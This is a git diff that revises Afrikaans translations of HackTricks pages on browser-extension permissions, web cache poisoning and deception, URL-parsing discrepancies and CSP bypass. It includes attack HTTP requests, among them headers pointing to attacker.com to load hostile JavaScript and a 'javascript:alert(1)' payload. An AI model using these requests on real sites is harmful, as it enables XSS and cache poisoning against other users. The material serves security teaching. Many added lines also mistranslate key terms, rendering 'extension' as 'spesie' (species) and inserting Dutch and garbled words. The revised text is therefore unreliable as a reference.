+Die **`bookmarks`** **toestemming** het soortgelyke misbruik potensiaal, hierdie een stel **toegang tot alle boekmerke via die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) toe.
### Berging toestemming
-Die uitbreiding berging is bloot 'n sleutel-waarde versameling, baie soortgelyk aan [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) wat enige webwerf kan gebruik. So geen sensitiewe inligting moet hier gestoor word nie.
+Die spesie berging is bloot 'n sleutel-waarde versameling, baie soortgelyk aan [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) wat enige webwerf kan gebruik. So geen sensitiewe inligting moet hier gestoor word nie.
Echter, advertensie maatskappye kan ook hierdie berging misbruik.
### Meer toestemming
-Jy kan die [**volledige lys van toestemming wat 'n Chromium Blaaiers Uitbreiding kan vra hier vind**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) en 'n [**volledige lys vir Firefox uitbreidings hier**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
+Jy kan die [**volledige lys van toestemming wat 'n Chromium Blaaierspesie kan vra hier vind**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) en 'n [**volledige lys vir Firefox spesies hier**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
## Prevensie
-Die beleid van Google se ontwikkelaar verbied eksplisiet uitbreidings om meer voorregte te vra as wat nodig is vir hul funksionaliteit, wat effektief oortollige toestemming versoeke verminder. 'N Voorbeeld waar 'n blaaiers uitbreiding hierdie grens oorgesteek het, het behels dat dit saam met die blaaiers self versprei is eerder as deur 'n byvoeging winkel.
+Die beleid van Google se ontwikkelaar verbied eksplisiet spesies om meer voorregte te vra as wat nodig is vir hul funksionaliteit, wat effektief oortollige toestemming versoeke verminder. 'N Voorbeeld waar 'n blaaierspesie hierdie grens oorgesteek het, het behels dat dit saam met die blaaierself versprei is eerder as deur 'n byvoeging winkel.
-Blaaiers kan verder die misbruik van uitbreiding voorregte beperk. Byvoorbeeld, Chrome se [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) en [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API's, wat vir skermopnames gebruik word, is ontwerp om misbruik te minimaliseer. Die tabCapture API kan slegs geaktiveer word deur direkte gebruikersinteraksie, soos om op die uitbreiding ikoon te klik, terwyl desktopCapture gebruikersbevestiging vereis vir die venster wat opgeneem moet word, wat geheime opname aktiwiteite voorkom.
+Blaaiers kan verder die misbruik van spesie voorregte beperk. Byvoorbeeld, Chrome se [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) en [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API's, wat vir skermopnames gebruik word, is ontwerp om misbruik te minimaliseer. Die tabCapture API kan slegs geaktiveer word deur direkte gebruikersinteraksie, soos om op die spesie ikoon te klik, terwyl desktopCapture gebruikersbevestiging vereis vir die venster wat opgeneem moet word, wat geheime opname aktiwiteite voorkom.
-Echter, om sekuriteitsmaatreëls te verskerp, lei dikwels tot verminderde buigsaamheid en gebruikersvriendelikheid van uitbreidings. Die [activeTab toestemming](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustreer hierdie afruil. Dit is bekendgestel om die behoefte aan uitbreidings om gasheer voorregte oor die hele internet te vra, te elimineer, wat uitbreidings toelaat om slegs die huidige tab te benader op eksplisiete aktivering deur die gebruiker. Hierdie model is effektief vir uitbreidings wat gebruikers-gestuurde aksies benodig, maar val kort vir diegene wat outomatiese of voorafgaande aksies benodig, wat gerief en onmiddellike reaksie benadeel.
+Echter, om sekuriteitsmaatreëls te verskerp, lei dikwels tot verminderde buigsaamheid en gebruikersvriendelikheid van spesies. Die [activeTab toestemming](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustreer hierdie afruil. Dit is bekendgestel om die behoefte aan spesies om gasheer voorregte oor die hele internet te vra, te elimineer, wat spesies toelaat om slegs die huidige tab te benader op eksplisiete aktivering deur die gebruiker. Hierdie model is effektief vir spesies wat gebruikers-gestimuleerde aksies benodig, maar faal vir diegene wat outomatiese of voorafgaande aksies benodig, wat gerief en onmiddellike reaksie benadeel.
## **Verwysings**
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
index 4a57333e6..0609da331 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
@@ -29,7 +29,7 @@ chrome.tabs.create({ url: destinationURL })
})
})
```
-'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die `content` parameter van die Iframe se bron aanpas om 'n **XSS payload** in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:
+'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die `content` parameter van die Iframe se bron aanpas om 'n **XSS-lading** in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
@@ -94,7 +94,7 @@ Om hierdie kwesbaarheid te verbeter, word 'n sekondêre **clickjacking** kwesbaa
[...]
],
```
-Opmerklik is die **`/html/bookmarks.html`** bladsy geneig tot framing, en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daargeteëlde slagoffers om onbewustelik met die onderliggende uitbreiding te interaksie.
+Opmerklik is die **`/html/bookmarks.html`** bladsy geneig tot framing, en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daardeur dat slagoffers onbedoeld met die onderliggende uitbreiding interaksie het.
## Verwysings
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 44146f884..06c76225d 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -6,8 +6,8 @@
> **Wat is die verskil tussen web cache poisoning en web cache deception?**
>
-> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
-> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
+> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
+> - In **web cache deception** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
## Cache Poisoning
@@ -21,9 +21,9 @@ Die uitvoering van 'n cache poisoning aanval behels verskeie stappe:
### Ontdekking: Kontroleer HTTP koptekste
-Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kopteks wees wat dit aandui**, jy kan kyk watter koptekste jy op hierdie pos moet let: [**HTTP Cache koptekste**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kopteks wees wat dit aandui**, jy kan kyk watter koptekste jy moet aandag gee aan in hierdie pos: [**HTTP Cache koptekste**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
-### Ontdekking: Caching foutkodes
+### Ontdekking: Cache foutkodes
As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kopteks te stuur**, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer).
@@ -37,7 +37,7 @@ Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor w
### Ontdekking: Identifiseer en evalueer ongekykte insette
-Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteks `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
+Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **brute-force parameters en koptekste** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteks `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
```markup
```
@@ -63,7 +63,7 @@ Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy
### Eenvoudigste voorbeeld
'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer reflekteer.\
-Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang, XSS sal hê:
+Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang het, XSS sal ervaar:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut
-Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
+Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** stuur en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -116,7 +116,7 @@ X-Forwarded-Scheme: http
```
### Exploiting with limited `Vary`header
-As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie user agent:
+As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie gebruikersagent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
-Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die cachebediener die een uit die URL kas, sal enigeen wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
+Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die kasbediener die een uit die URL kas, sal enigeen wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@@ -156,7 +156,7 @@ Voorbeeld gebruik: `wcvs -u example.com`
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
-ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache-sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So is die versoek `/#/../?r=javascript:alert(1)` na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache-sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
+ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache-sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So die versoek `/#/../?r=javascript:alert(1)` is na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache-sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
### GitHub CP-DoS
@@ -164,23 +164,23 @@ Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde an
### GitLab + GCP CP-DoS
-GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So was dit moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun.
+GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun.
### Rack Middleware (Ruby on Rails)
-In Ruby on Rails-toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
+In Ruby on Rails-toepassings word Rack-middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
### 403 and Storage Buckets
-Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Blobs met onakkurate Owerheidskoppe te benader, sou 'n 403-antwoord lewer wat gecache is. Alhoewel Cloudflare opgehou het om 403-antwoorde te cache, kan hierdie gedrag steeds in ander proxy-dienste teenwoordig wees.
+Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Blobs met onkorrekte Owerheidskoppe te benader, sou 'n 403-antwoord lewer wat gecache is. Alhoewel Cloudflare opgehou het om 403-antwoorde te cache, kan hierdie gedrag steeds in ander proxy-dienste teenwoordig wees.
### Injecting Keyed Parameters
-Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request-fout.
+Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foute waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request-fout.
### User Agent Rules
-Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
+Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies, kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
### Illegal Header Fields
@@ -206,8 +206,8 @@ Ander dinge om te toets:
- _Gebruik minder bekende uitbreidings soos_ `.avif`
Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache bediener gaan die resultaat stoor.\
-Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiers toegang verkry en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
+In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache-bediener gaan die resultaat stoor.\
+Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
Let daarop dat die **cache proxy** moet wees **gekonfigureer** om lêers **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
index 4598e7744..135aed338 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
@@ -44,7 +44,7 @@ Invalid Header
```
- **HTTP Metode Oorskrywing Aanval (HMO)**
-As die bediener die verandering van die HTTP-metode met koptekste soos `X-HTTP-Method-Override`, `X-HTTP-Method` of `X-Method-Override` ondersteun. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:
+As die bediener die verandering van die HTTP-metode met koptekste soos `X-HTTP-Method-Override`, `X-HTTP-Method` of `X-Method-Override` ondersteun, is dit moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:
```
GET /blogs HTTP/1.1
Host: redacted.com
@@ -63,7 +63,7 @@ Cache: miss
```
- **Lang Oorgang DoS**
-Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die oorgang respons gedrag misbruik om die oorgang 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om toegang te verkry tot die URL sonder die ongecacheerde x sleutel die fout respons ontvang:
+Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die oorgang respons gedrag misbruik om die oorgang 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om die URL te benader sonder die ongecacheerde x sleutel die fout respons ontvang:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
@@ -80,7 +80,7 @@ CF-Cache-Status: miss
```
- **Gasheer-kop geval normalisering**
-Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en gee 'n fout as dit nie is nie:
+Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en keer 'n fout terug as dit nie is nie:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index 4535177ff..59b6e953c 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -11,32 +11,32 @@ Dit is 'n opsomming van die tegnieke wat in die pos [https://portswigger.net/res
**URL-delimiters** verskil volgens raamwerk en bediener, wat die manier waarop versoeke gerouteer en antwoorde hanteer word, beïnvloed. Sommige algemene oorsprong-delimiters is:
-- **Puntkomma**: Gebruik in Spring vir matriks veranderlikes (bv. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
+- **Puntkomma**: Gebruik in Spring vir matriksveranderlikes (bv. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
- **Punt**: Spesifiseer antwoordformaat in Ruby on Rails (bv. `/MyAccount.css` → `/MyAccount`)
-- **Null Byte**: Verkort paaie in OpenLiteSpeed (bv. `/MyAccount%00aaa` → `/MyAccount`).
+- **Null Byte**: Verkort pades in OpenLiteSpeed (bv. `/MyAccount%00aaa` → `/MyAccount`).
- **Newline Byte**: Skei URL-komponente in Nginx (bv. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
Ander spesifieke delimiters kan gevind word deur hierdie proses:
- **Stap 1**: Identifiseer nie-kasbare versoeke en gebruik dit om te monitor hoe URL's met potensiële delimiters hanteer word.
-- **Stap 2**: Voeg ewekansige agtervoegsels by paaie en vergelyk die bediener se antwoord om te bepaal of 'n karakter as 'n delimiter funksioneer.
+- **Stap 2**: Voeg ewekansige agtervoegsels by pades en vergelyk die bediener se antwoord om te bepaal of 'n karakter as 'n delimiter funksioneer.
- **Stap 3**: Stel potensiële delimiters in voordat die ewekansige agtervoegsel om te sien of die antwoord verander, wat die gebruik van delimiters aandui.
## Normalization & Encodings
-- **Doel**: URL-parsers in beide cache- en oorsprongbedieners normaliseer URL's om paaie vir eindpuntkaarte en cache-sleutels te onttrek.
+- **Doel**: URL-parsers in beide cache- en oorsprongbedieners normaliseer URL's om pades vir eindpuntkaarte en cache-sleutels te onttrek.
- **Proses**: Identifiseer pad-delimiters, onttrek en normaliseer die pad deur karakters te dekodeer en punt-segmente te verwyder.
### **Encodings**
Verskillende HTTP-bedieners en proxies soos Nginx, Node, en CloudFront dekodeer delimiters anders, wat lei tot inkonsekwentheid oor CDNs en oorsprongbedieners wat uitgebuit kan word. Byvoorbeeld, as die webbediener hierdie transformasie uitvoer `/myAccount%3Fparam` → `/myAccount?param` maar die cache-bediener hou die pad `/myAccount%3Fparam` as sleutel, is daar 'n inkonsekwentheid.
-'n Manier om vir hierdie inkonsekwenthede te kyk, is om versoeke te stuur met URL-kodering van verskillende karakters nadat die pad sonder enige kodering gelaai is en te kyk of die gekodeerde padantwoord van die gekaste antwoord gekom het.
+'n Manier om vir hierdie inkonsekwenthede te kyk, is om versoeke te stuur URL-kodering verskillende karakters na die pad gelaai is sonder enige kodering en te kyk of die gekodeerde padantwoord van die gekaste antwoord gekom het.
### Punt-segment
-Die padnormalisering waar punte betrokke is, is ook baie interessant vir cache poisoning-aanvalle. Byvoorbeeld, `/static/../home/index` of `/aaa..\home/index`, sommige cache-bedieners sal hierdie paaie met hulself as die sleutels kas, terwyl ander die pad kan oplos en `/home/index` as die cache-sleutel gebruik.\
-Net soos voorheen, help dit om hierdie soort versoeke te stuur en te kyk of die antwoord van die cache verkry is om te identifiseer of die antwoord op `/home/index` die antwoord is wat gestuur is wanneer daardie paaie aangevra is.
+Die padnormalisering waar punte betrokke is, is ook baie interessant vir cache poisoning-aanvalle. Byvoorbeeld, `/static/../home/index` of `/aaa..\home/index`, sommige cache-bedieners sal hierdie pades met hulself as die sleutels kas, terwyl ander die pad kan oplos en `/home/index` as die cache-sleutel gebruik.\
+Net soos voorheen, help dit om hierdie soort versoeke te stuur en te kyk of die antwoord van die cache verkry is om te identifiseer of die antwoord op `/home/index` die antwoord is wat gestuur is wanneer daardie pades aangevra is.
## Statiese Hulpbronne
@@ -47,6 +47,6 @@ Verskeie cache-bedieners sal altyd 'n antwoord kas as dit as staties geïdentifi
- **Welbekende statiese gidse**: Die volgende gidse bevat statiese lêers en daarom moet hul antwoord gekas word: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Dit is moontlik om 'n cache te dwing om 'n dinamiese antwoord te stoor deur 'n delimiter, 'n statiese gids en punte te gebruik, soos: `/home/..%2fstatic/something` wat `/static/something` sal kas en die antwoord sal `/home` wees.
- **Statiese gidse + punte**: 'n Versoek na `/static/..%2Fhome` of na `/static/..%5Chome` kan as is gekas word, maar die antwoord kan `/home` wees.
-- **Statiese lêers:** Sommige spesifieke lêers word altyd gekas soos `/robots.txt`, `/favicon.ico`, en `/index.html`. Wat misbruik kan word soos `/home/..%2Frobots.txt` waar die cache dalk `/robots.txt` kan stoor en die oorsprongbediener op `/home` kan antwoordgee.
+- **Statiese lêers:** Sommige spesifieke lêers word altyd gekas soos `/robots.txt`, `/favicon.ico`, en `/index.html`. Wat misbruik kan word soos `/home/..%2Frobots.txt` waar die cache dalk `/robots.txt` sal stoor en die oorsprongbediener sal op `/home` antwoordgee.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 73a8ed627..11fca2ead 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -1,10 +1,10 @@
-# Content Security Policy (CSP) Bypass
+# Inhoudsekuriteitsbeleid (CSP) Omseiling
{{#include ../../banners/hacktricks-training.md}}
## Wat is CSP
-Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik om **te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
+Inhoudsekuriteitsbeleid (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid kan die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.
@@ -37,10 +37,10 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
-### Direktiewe
+### Richtlijnen
-- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenishandlers of XSLT-stylesheets geaktiveer word.
-- **default-src**: Stel 'n standaardbeleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsdirektiewe afwesig is.
+- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenis hanteerders of XSLT-stylesheets geaktiveer word.
+- **default-src**: Stel 'n standaard beleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsriglyne afwesig is.
- **child-src**: Spesifiseer toegelate hulpbronne vir webwerkers en ingebedde raaminhoud.
- **connect-src**: Beperk URL's wat gelaai kan word met behulp van interfaces soos fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Beperk URL's vir rame.
@@ -53,7 +53,7 @@ object-src 'none';
- **base-uri**: Spesifiseer toegelate URL's vir laai met behulp van `` elemente.
- **form-action**: Lys geldige eindpunte vir vormindienings.
- **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
-- **upgrade-insecure-requests**: Gee instruksies aan blaaiers om HTTP-URL's na HTTPS te herskryf.
+- **upgrade-insecure-requests**: Gee opdrag aan blaaiers om HTTP URL's na HTTPS te herskryf.
- **sandbox**: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n `
```
-Let op hoe die **vorige CSP slegs die uitvoering van die inline skrip toelaat**.\
+Let op hoe die **vorige CSP slegs die uitvoering van die inline script toelaat**.\
